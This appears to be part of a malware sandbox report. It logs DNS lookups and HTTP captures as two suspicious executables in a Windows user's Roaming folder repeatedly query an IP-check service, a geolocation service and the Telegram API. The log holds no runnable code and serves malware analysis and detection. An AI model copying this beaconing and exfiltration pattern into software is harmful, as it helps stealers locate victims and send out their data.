Jul 26, 2024 23:45:45.173413992 CEST	8.8.8.8	192.168.2.22	0xd5c4	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.173413992 CEST	8.8.8.8	192.168.2.22	0xd5c4	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.173413992 CEST	8.8.8.8	192.168.2.22	0xd5c4	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.697089911 CEST	8.8.8.8	192.168.2.22	0x473a	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:45.697089911 CEST	8.8.8.8	192.168.2.22	0x473a	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.697089911 CEST	8.8.8.8	192.168.2.22	0x473a	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.697089911 CEST	8.8.8.8	192.168.2.22	0x473a	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.697089911 CEST	8.8.8.8	192.168.2.22	0x473a	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.697089911 CEST	8.8.8.8	192.168.2.22	0x473a	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.706389904 CEST	8.8.8.8	192.168.2.22	0x29fe	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:45.706389904 CEST	8.8.8.8	192.168.2.22	0x29fe	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.706389904 CEST	8.8.8.8	192.168.2.22	0x29fe	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.706389904 CEST	8.8.8.8	192.168.2.22	0x29fe	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.706389904 CEST	8.8.8.8	192.168.2.22	0x29fe	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.706389904 CEST	8.8.8.8	192.168.2.22	0x29fe	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:46.560062885 CEST	8.8.8.8	192.168.2.22	0xdd21	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:46.560062885 CEST	8.8.8.8	192.168.2.22	0xdd21	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:46.887716055 CEST	8.8.8.8	192.168.2.22	0x9609	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:46.887716055 CEST	8.8.8.8	192.168.2.22	0x9609	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:46.894819975 CEST	8.8.8.8	192.168.2.22	0x9609	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:46.894819975 CEST	8.8.8.8	192.168.2.22	0x9609	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:47.247642994 CEST	8.8.8.8	192.168.2.22	0x104a	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:47.507905006 CEST	8.8.8.8	192.168.2.22	0xcbff	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:47.507905006 CEST	8.8.8.8	192.168.2.22	0xcbff	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:47.507905006 CEST	8.8.8.8	192.168.2.22	0xcbff	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:47.507905006 CEST	8.8.8.8	192.168.2.22	0xcbff	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:47.507905006 CEST	8.8.8.8	192.168.2.22	0xcbff	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:47.507905006 CEST	8.8.8.8	192.168.2.22	0xcbff	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:47.518174887 CEST	8.8.8.8	192.168.2.22	0x1edc	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:47.518174887 CEST	8.8.8.8	192.168.2.22	0x1edc	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:47.518174887 CEST	8.8.8.8	192.168.2.22	0x1edc	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:47.518174887 CEST	8.8.8.8	192.168.2.22	0x1edc	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:47.518174887 CEST	8.8.8.8	192.168.2.22	0x1edc	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:47.518174887 CEST	8.8.8.8	192.168.2.22	0x1edc	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.018521070 CEST	8.8.8.8	192.168.2.22	0x7bf8	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.018521070 CEST	8.8.8.8	192.168.2.22	0x7bf8	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.689132929 CEST	8.8.8.8	192.168.2.22	0x844a	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:48.689132929 CEST	8.8.8.8	192.168.2.22	0x844a	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.689132929 CEST	8.8.8.8	192.168.2.22	0x844a	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.689132929 CEST	8.8.8.8	192.168.2.22	0x844a	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.689132929 CEST	8.8.8.8	192.168.2.22	0x844a	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.689132929 CEST	8.8.8.8	192.168.2.22	0x844a	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.697443008 CEST	8.8.8.8	192.168.2.22	0xaf79	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:48.697443008 CEST	8.8.8.8	192.168.2.22	0xaf79	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.697443008 CEST	8.8.8.8	192.168.2.22	0xaf79	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.697443008 CEST	8.8.8.8	192.168.2.22	0xaf79	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.697443008 CEST	8.8.8.8	192.168.2.22	0xaf79	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:48.697443008 CEST	8.8.8.8	192.168.2.22	0xaf79	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:49.391303062 CEST	8.8.8.8	192.168.2.22	0x92bd	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:49.391303062 CEST	8.8.8.8	192.168.2.22	0x92bd	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:50.057598114 CEST	8.8.8.8	192.168.2.22	0x2dab	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:50.057598114 CEST	8.8.8.8	192.168.2.22	0x2dab	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:50.057598114 CEST	8.8.8.8	192.168.2.22	0x2dab	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:50.057598114 CEST	8.8.8.8	192.168.2.22	0x2dab	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:50.057598114 CEST	8.8.8.8	192.168.2.22	0x2dab	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:50.057598114 CEST	8.8.8.8	192.168.2.22	0x2dab	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:50.065959930 CEST	8.8.8.8	192.168.2.22	0xe0de	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:50.065959930 CEST	8.8.8.8	192.168.2.22	0xe0de	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:50.065959930 CEST	8.8.8.8	192.168.2.22	0xe0de	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:50.065959930 CEST	8.8.8.8	192.168.2.22	0xe0de	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:50.065959930 CEST	8.8.8.8	192.168.2.22	0xe0de	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:50.065959930 CEST	8.8.8.8	192.168.2.22	0xe0de	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:51.699316978 CEST	8.8.8.8	192.168.2.22	0x5c7f	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:51.699316978 CEST	8.8.8.8	192.168.2.22	0x5c7f	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.384382010 CEST	8.8.8.8	192.168.2.22	0x7b1e	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:52.384382010 CEST	8.8.8.8	192.168.2.22	0x7b1e	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.384382010 CEST	8.8.8.8	192.168.2.22	0x7b1e	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.384382010 CEST	8.8.8.8	192.168.2.22	0x7b1e	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.384382010 CEST	8.8.8.8	192.168.2.22	0x7b1e	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.384382010 CEST	8.8.8.8	192.168.2.22	0x7b1e	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.393100023 CEST	8.8.8.8	192.168.2.22	0xe4a	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:52.393100023 CEST	8.8.8.8	192.168.2.22	0xe4a	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.393100023 CEST	8.8.8.8	192.168.2.22	0xe4a	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.393100023 CEST	8.8.8.8	192.168.2.22	0xe4a	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.393100023 CEST	8.8.8.8	192.168.2.22	0xe4a	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.393100023 CEST	8.8.8.8	192.168.2.22	0xe4a	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.873044968 CEST	8.8.8.8	192.168.2.22	0x960	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:52.873044968 CEST	8.8.8.8	192.168.2.22	0x960	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:53.530426979 CEST	8.8.8.8	192.168.2.22	0x4e26	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

meridianresourcellc.top

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49171	132.226.247.73	80	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:28.321165085 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 23:45:28.967530012 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:28 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cf369e6b2e2ee83bcbc681c3b73cd316 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:29.175510883 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:28 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cf369e6b2e2ee83bcbc681c3b73cd316 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:30.462775946 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 23:45:30.671293020 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:30 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9bfbb0a10ff96123f322d45128c1a25c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:30.886786938 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:30 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9bfbb0a10ff96123f322d45128c1a25c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:34.019804955 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 23:45:34.230139017 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:34 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: daff2905da8d2155d078d7adf0b6b577 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:34.439461946 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:34 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: daff2905da8d2155d078d7adf0b6b577 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49174	193.122.130.0	80	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:35.209233046 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 23:45:35.669509888 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:35 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cc568803fb6a289f7cb542e227592f1e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49176	158.101.44.242	80	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:36.649858952 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 23:45:37.202109098 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:37 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8442a7ac0e46db336ba63d2e8e2667e1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:37.415529966 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:37 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8442a7ac0e46db336ba63d2e8e2667e1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:37.488856077 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 23:45:37.848849058 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:37 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8a762f5a7b51b7db456e12570a1407e6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:38.902432919 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 23:45:39.061602116 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:38 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 29dfd82e1771c59777ec83c4e67431ee Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49177	193.122.6.168	80	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:36.780706882 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 23:45:39.412964106 CEST	730	IN	HTTP/1.1 502 Bad Gateway Date: Fri, 26 Jul 2024 21:45:39 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: 16364d37ae25a9fe5ccbe2cb99c6ccce Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Jul 26, 2024 23:45:39.432930946 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
